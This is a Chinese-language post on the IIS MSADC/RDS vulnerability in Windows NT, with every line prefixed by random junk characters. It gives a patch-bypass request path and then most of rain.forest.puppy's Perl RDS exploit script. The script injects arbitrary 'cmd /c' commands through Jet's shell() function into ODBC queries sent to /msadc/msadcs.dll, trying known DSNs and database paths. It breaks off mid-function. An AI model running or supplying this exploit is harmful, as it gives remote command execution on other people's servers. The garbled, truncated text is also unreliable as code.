IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
2]_fNCNLN =\x(Rs3 涉及程序:
IUwMIHq&sW Microsoft NT server
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描述:
a>)|SfsE 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
/~_,p,:aP hR~~k~84 详细:
-Z&9pI(3R~ 如果你没有时间读详细内容的话,就删除:
uVLKR PY c:\Program Files\Common Files\System\Msadc\msadcs.dll
LVNJlRK 有关的安全问题就没有了。
)uH#+IU @l@erCw@ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
+r 8/\'u- ?&$BQK 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
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关于利用ODBC远程漏洞的描述,请参看:
-e_L2<7 Mzj|57:gx http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm
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K)U aF:|MTC(~ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
K`twbTU http://www.microsoft.com/security/bulletins/MS99-025faq.asp FSkz[D_} s )V<dm;T 这里不再论述。
njBK { DBZ^n9 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
P(~vqo>! f
_*F&-L /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
kPFqsq 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
bjB4 6e:#x:O .#}`r`/ #将下面这段保存为txt文件,然后: "perl -x 文件名"
94GF8P LVxR*O #!perl
J4q_}^/2w #
fV5MI[t # MSADC/RDS 'usage' (aka exploit) script
0I"r*;9?K #
Cc>+OUL # by rain.forest.puppy
Tj,1]_`=V$ #
&265
B_'D # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
N Uo # beta test and find errors!
ffoLCx4o0E vjO@"2YEw use Socket; use Getopt::Std;
5YnTGf& getopts("e:vd:h:XR", \%args);
:B5M#D!dO ^U]B&+m print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
\[W)[mH_ M%qHf{ B if (!defined $args{h} && !defined $args{R}) {
<~-cp61z; print qq~
b&E9xD/;r Usage: msadc.pl -h <host> { -d <delay> -X -v }
}(Dt,F` -h <host> = host you want to scan (ip or domain)
h5VZ-v_j -d <seconds> = delay between calls, default 1 second
{K42PmQL -X = dump Index Server path table, if available
_Xzl=j9[ -v = verbose
3.<E{E!F -e = external dictionary file for step 5
ctu`FQ xjg(}w Or a -R will resume a command session
"P@oO,. }\/
3B_X6N ~; exit;}
SH/^qDT' YuKg|<WO $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
2(K@V6j$M if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
8)51p+a if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
hYEUiQ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
.GOF0puiM $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Z<@dM2b) if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
/{*0
\`; Eao^/MKx- if (!defined $args{R}){ $ret = &has_msadc;
9 Aq\1QC die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
$I:&5 o i Y>Tok|PV print "Please type the NT commandline you want to run (cmd /c assumed):\n"
o=y0=,:a?9 . "cmd /c ";
_"688u'88 $in=<STDIN>; chomp $in;
vOi4$I~CJ $command="cmd /c " . $in ;
Z@QJ5F1y ylwh_&>2 if (defined $args{R}) {&load; exit;}
H&E3RU>` ^% jk. * print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
YK6zN>M}E &try_btcustmr;
XX[CTh?O% ERz{, >G? print "\nStep 2: Trying to make our own DSN...";
X>4qL'b:z &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
?5jq)xd2 !pAb+6~T print "\nStep 3: Trying known DSNs...";
8a,pDE &known_dsn;
L@>$
Aw JJVdq-k+` print "\nStep 4: Trying known .mdbs...";
PiZU_~A &known_mdb;
+jN%w{^= 5tQZf'pHfd if (defined $args{e}){
r%UsUj print "\nStep 5: Trying dictionary of DSN names...";
IT=<p60" &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
mVNHH! ~"}o^#@DwJ print "Sorry Charley...maybe next time?\n";
Gx/kel[Y} exit;
@z1pE@7jK
y)GH=@b ##############################################################################
y,cz;2 u;3wg`e sub sendraw { # ripped and modded from whisker
)0N^rw kW sleep($delay); # it's a DoS on the server! At least on mine...
>dYN@cB$} my ($pstr)=@_;
W~qVZ(G*U socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
y';"tD Fb die("Socket problems\n");
K4K]oT if(connect(S,pack "SnA4x8",2,80,$target)){
W 2T6JFv select(S); $|=1;
c=#V*< print $pstr; my @in=<S>;
:oO
?A select(STDOUT); close(S);
"1|\V.>>; return @in;
['jr+gIfQ } else { die("Can't connect...\n"); }}
x_$`#m{hL5 Zj5B}[,l\ ##############################################################################
\^]*T'>b ?`T-A\A= sub make_header { # make the HTTP request
^SC2k LI my $msadc=<<EOT
J`xCd/G POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
35/K9l5 User-Agent: ACTIVEDATA
"'v^X!" Host: $ip
T3,}CK#O Content-Length: $clen
W|4h;[w Connection: Keep-Alive
S\R5SRE +
[~)a4# ADCClientVersion:01.06
<tto8Y
j Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
N977F$Bo `Y_G*b.Rm --!ADM!ROX!YOUR!WORLD!
8Ai\T_l Content-Type: application/x-varg
g#b9xTGJ^ Content-Length: $reqlen
r2G38/K +sFpIiJg EOT
=>htX(k} ; $msadc=~s/\n/\r\n/g;
x".!&5 return $msadc;}
!yo@i_1D .)Zs:50l ##############################################################################
%_%BbQf E(g$f.9 sub make_req { # make the RDS request
*"Uf| my ($switch, $p1, $p2)=@_;
L6Io u my $req=""; my $t1, $t2, $query, $dsn;
$(+#$F<eo+ &(X 67 if ($switch==1){ # this is the btcustmr.mdb query
+sT S1t $query="Select * from Customers where City=" . make_shell();
)18C(V-x $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
ToX--w4 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Jp"yb`w r t'pc\|O& elsif ($switch==2){ # this is general make table query
PnZC
I!Mw $query="create table AZZ (B int, C varchar(10))";
dCpDA a3 $dsn="$p1";}
_o7t| pl~ zEk/15 elsif ($switch==3){ # this is general exploit table query
,{X}C $query="select * from AZZ where C=" . make_shell();
A~({vb' $dsn="$p1";}
;(&S1Rv9 D`R~d;U~ elsif ($switch==4){ # attempt to hork file info from index server
SFR<T $query="select path from scope()";
;cfPS $dsn="Provider=MSIDXS;";}
z)Lw\H^/ lKG' KR. elsif ($switch==5){ # bad query
~'v9/I-" $query="select";
7j8lhrM}^ $dsn="$p1";}
*-(8Z>9 6{!Cx9V $t1= make_unicode($query);
se=;vp]3a $t2= make_unicode($dsn);
X m3r)Bm'3 $req = "\x02\x00\x03\x00";
(7Ln~J* $req.= "\x08\x00" . pack ("S1", length($t1));
qL4s@<|~ $req.= "\x00\x00" . $t1 ;
Z rv:uEl $req.= "\x08\x00" . pack ("S1", length($t2));
bs0[ a 1/ $req.= "\x00\x00" . $t2 ;
F-Bj $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
==AmL]* return $req;}
mgMa)yc!dp otX/sg.B* ##############################################################################
jss.j~8 xVk5% sub make_shell { # this makes the shell() statement
|y
pXO3 return "'|shell(\"$command\")|'";}
<$??Z;6 7n,=`0{r ##############################################################################
XK&G `cJ[ -2'1KAk-W sub make_unicode { # quick little function to convert to unicode
+{0v@6<(02 my ($in)=@_; my $out;
>&ENrvaJ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
0f#xyS 3 return $out;}
%,(X R` 9oYE ##############################################################################
0D Lw ohjl*dw sub rdo_success { # checks for RDO return success (this is kludge)
,b4oV my (@in) = @_; my $base=content_start(@in);
uS5G(} [ if($in[$base]=~/multipart\/mixed/){
25 cJA4 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
0n}v"61q return 0;}
(67byO{ u+^KP>rM( ##############################################################################
8u%,5GV>Xr yLPP6_59$ sub make_dsn { # this makes a DSN for us
09qfnQG my @drives=("c","d","e","f");
Y"L |D,ex print "\nMaking DSN: ";
QBh*x/J foreach $drive (@drives) {
pu5%$}dBE print "$drive: ";
IhRdn1& my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
zf>*\pZE "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
(eAz
nTU . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
~ #7@;C<nt $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
8@Bm2?$}g return 0 if $2 eq "404"; # not found/doesn't exist
pHXs+Ysw+ if($2 eq "200") {
P\WFm
foreach $line (@results) {
<HtGp6q return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
@]!9;?so } return 0;}
6_:I~TTX D|*yeS4> ##############################################################################
K|Eelhm [(eX\kL sub verify_exists {
f `D(V-4 my ($page)=@_;
m/"([Y_ my @results=sendraw("GET $page HTTP/1.0\n\n");
-y>~ :. return $results[0];}
u=tp80_ aIDv~#l ##############################################################################
sF>O=F-7 w{t]^w: sub try_btcustmr {
mFeR~Bi>! my @drives=("c","d","e","f");
iL2_ _TO my @dirs=("winnt","winnt35","winnt351","win","windows");
5KP\ #Y w3z'ZCcr;" foreach $dir (@dirs) {
':3[?d1Es print "$dir -> "; # fun status so you can see progress
G<*
Iw>ep foreach $drive (@drives) {
o".,JnbXl print "$drive: "; # ditto
'4_c;](W $reqlen=length( make_req(1,$drive,$dir) ) - 28;
8
/%{xB^ $reqlenlen=length( "$reqlen" );
w51l;2$des $clen= 206 + $reqlenlen + $reqlen;
!FD d5CS I,<?Kv my @results=sendraw(make_header() . make_req(1,$drive,$dir));
=Z{jc if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
?J,,RK. else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
@meT8S9t 2W2T ##############################################################################
TMo DN%{ ALV(fv$cD sub odbc_error {
,i1BoG my (@in)=@_; my $base;
%`QgG my $base = content_start(@in);
0ckmHv if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
bkc*it $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
hNhEA $X5 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
v K[%cA" $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Ctn
4q'Q return $in[$base+4].$in[$base+5].$in[$base+6];}
+g kJrw print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
ec`re+1r print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
$8xb|S[ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
h!v<J ]Vmo> ##############################################################################
gO)":!_n W zhm 0J-g sub verbose {
m[KmXPFht1 my ($in)=@_;
k}p8"'O return if !$verbose;
r@m]#4 print STDOUT "\n$in\n";}
%B( rW?p& P%H Dz ##############################################################################
Fe4>G8uuwn Mm(#N/ sub save {
r~2hTie my ($p1, $p2, $p3, $p4)=@_;
7RWgc]@?> open(OUT, ">rds.save") || print "Problem saving parameters...\n";
El@*Fo print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
d$n31F close OUT;}
ZOMYo] @"MQ6u G> ##############################################################################
/s~S\dG ;kY~-Om sub load {
pu+Q3NfR my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
"TJ*mN.i{} open(IN,"<rds.save") || die("Couldn't open rds.save\n");
mL pM8~L @p=<IN>; close(IN);
92t.@!m` $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
-fl6M-CYX $target= inet_aton($ip) || die("inet_aton problems");
} ck<R print "Resuming to $ip ...";
r uGeN $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
,`k&9o7 if($p[1]==1) {
}{VOy PG $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
\Dy|}LE $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
A+gS'DZ9C my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
)Z:D}r8[ if (rdo_success(@results)){print "Success!\n";}
W>i"p~! else { print "failed\n"; verbose(odbc_error(@results));}}
/.<v,CR elsif ($p[1]==3){
U: Wet, if(run_query("$p[3]")){
YcX\t6VK print "Success!\n";} else { print "failed\n"; }}
4l%1D.3-O elsif ($p[1]==4){
:>2wVN&\c if(run_query($drvst . "$p[3]")){
>Rd~-w)!| print "Success!\n"; } else { print "failed\n"; }}
(/N&_r4x exit;}
)0iN2L]U; E "}@SaB- ##############################################################################
,!b<SQ5M |5tZ*$nGa sub create_table {
&=BzsBh my ($in)=@_;
Hj|&P/jY]* $reqlen=length( make_req(2,$in,"") ) - 28;
?KOw~-u $reqlenlen=length( "$reqlen" );
jT=|!,Pn $clen= 206 + $reqlenlen + $reqlen;
(Jw_2pHxr" my @results=sendraw(make_header() . make_req(2,$in,""));
)?UoF&c/ return 1 if rdo_success(@results);
CDRbYO my $temp= odbc_error(@results); verbose($temp);
vM6W64S return 1 if $temp=~/Table 'AZZ' already exists/;
gWGDm~+ return 0;}
C_kuW+H cO*g4VL"[ ##############################################################################
`H6~<9r 3>-h-
cpMX sub known_dsn {
0Zi+x#&d # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
;_)~h$1%= my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
3g;, "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
SXZ9+<\ "banner", "banners", "ads", "ADCDemo", "ADCTest");
ESIP+ U`i5B;k}- foreach $dSn (@dsns) {
*k}m?;esb print ".";
;6Yg}L next if (!is_access("DSN=$dSn"));
UGI<V! if(create_table("DSN=$dSn")){
w CB*v<* print "$dSn successful\n";
v={{$=/t if(run_query("DSN=$dSn")){
~}}<+ JEEO print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
:86:U 0^ print "Something's borked. Use verbose next time\n";}}} print "\n";}
$vf gYl4q R-S<7Q3E0= ##############################################################################
#%\0][Xf ,;6 V=ok sub is_access {
/oHCV0!0
my ($in)=@_;
z6C(?R $reqlen=length( make_req(5,$in,"") ) - 28;
AtG~!)hG $reqlenlen=length( "$reqlen" );
TXmS$q
$clen= 206 + $reqlenlen + $reqlen;
(Z(S?`') my @results=sendraw(make_header() . make_req(5,$in,""));
$M 8&&M my $temp= odbc_error(@results);
>ep<W<b verbose($temp); return 1 if ($temp=~/Microsoft Access/);
,UMr_ e{| return 0;}
Oh*~+/u}q ^w\22 Q ##############################################################################
p8~lGuH .Q,"gsY sub run_query {
\D? '.Wo% my ($in)=@_;
lD0-S0i $reqlen=length( make_req(3,$in,"") ) - 28;
k.ou$mIY $reqlenlen=length( "$reqlen" );
X3l>GeUi $clen= 206 + $reqlenlen + $reqlen;
2!J#XzR0W my @results=sendraw(make_header() . make_req(3,$in,""));
tF`L]1r> return 1 if rdo_success(@results);
F,wB6Cw my $temp= odbc_error(@results); verbose($temp);
%Hbq3U30 return 0;}
B>^6tdz n[iwi ##############################################################################
6:#o0OeBP #&}-
q
RA sub known_mdb {
CUI3^;&S my @drives=("c","d","e","f","g");
{5E8eQ my @dirs=("winnt","winnt35","winnt351","win","windows");
J[ Gpd my $dir, $drive, $mdb;
q !z"YpYB my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Yub}AuU`v 5qtk#FB # this is sparse, because I don't know of many
j%Au0k my @sysmdbs=( "\\catroot\\icatalog.mdb",
.[O{,r "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
2`$*HPj+G "\\system32\\certmdb.mdb",
gT+g@\u[ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
A*y4<'}< 2d[q5p my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
@.eN+o9| "\\cfusion\\cfapps\\forums\\forums_.mdb",
@ep.wW "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
4H-eFs%5 "\\cfusion\\cfapps\\security\\realm_.mdb",
Trv}YT. "\\cfusion\\cfapps\\security\\data\\realm.mdb",
:W*yfhLt "\\cfusion\\database\\cfexamples.mdb",
i<^X z "\\cfusion\\database\\cfsnippets.mdb",
Y\]ZIvTSb "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
k4K.
mlIO "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
~v;I>ij "\\cfusion\\brighttiger\\database\\cleam.mdb",
nHdQe "\\cfusion\\database\\smpolicy.mdb",
XHk"nbj "\\cfusion\\database\cypress.mdb",
*(OG+OkC "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
*#Cx-J "\\website\\cgi-win\\dbsample.mdb",
oe|#!SM( "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
oRWje#4O "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
fs'SCwx ); #these are just
kXwAw]ogN foreach $drive (@drives) {
3CoZ2 foreach $dir (@dirs){
##rkyd foreach $mdb (@sysmdbs) {
e"S?qpJK print ".";
P51M?3&=l if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
I`V<Sh^Qd print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
ccag8LC if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
]].~/kC^3k print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
t`Z'TqP R } else { print "Something's borked. Use verbose next time\n"; }}}}}
og}Ri!^ 'Cc~|gOgD foreach $drive (@drives) {
YhN<vZ}U!~ foreach $mdb (@mdbs) {
Z=a%)Ki?Ag print ".";
S0^a)#D & if(create_table($drv . $drive . $dir . $mdb)){
7S a9 print "\n" . $drive . $dir . $mdb . " successful\n";
duY?LJ @g if(run_query($drv . $drive . $dir . $mdb)){
i/9iM\2 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
kW/G=_6 } else { print "Something's borked. Use verbose next time\n"; }}}}
QoZV6 }
lmeTW0U@9( BiYxI{V FD ##############################################################################
b)d;eS BDI|z/~& sub hork_idx {
>@2<^&K` print "\nAttempting to dump Index Server tables...\n";
zZ=SAjT QP print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
:<J7 g`f $reqlen=length( make_req(4,"","") ) - 28;
{=Zy;Er $reqlenlen=length( "$reqlen" );
}4|EHhG $clen= 206 + $reqlenlen + $reqlen;
~Gu$EqQ my @results=sendraw2(make_header() . make_req(4,"",""));
fqgp{(`@> if (rdo_success(@results)){
6gV*G my $max=@results; my $c; my %d;
:0J`4 for($c=19; $c<$max; $c++){
>(Y CZ $results[$c]=~s/\x00//g;
;qWu8\T+ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
su%(!XJQpg $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
&: Q'X $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
a^R?w|zCX $d{"$1$2"}="";}
Bh3F4k2bg7 foreach $c (keys %d){ print "$c\n"; }
;4rhhh&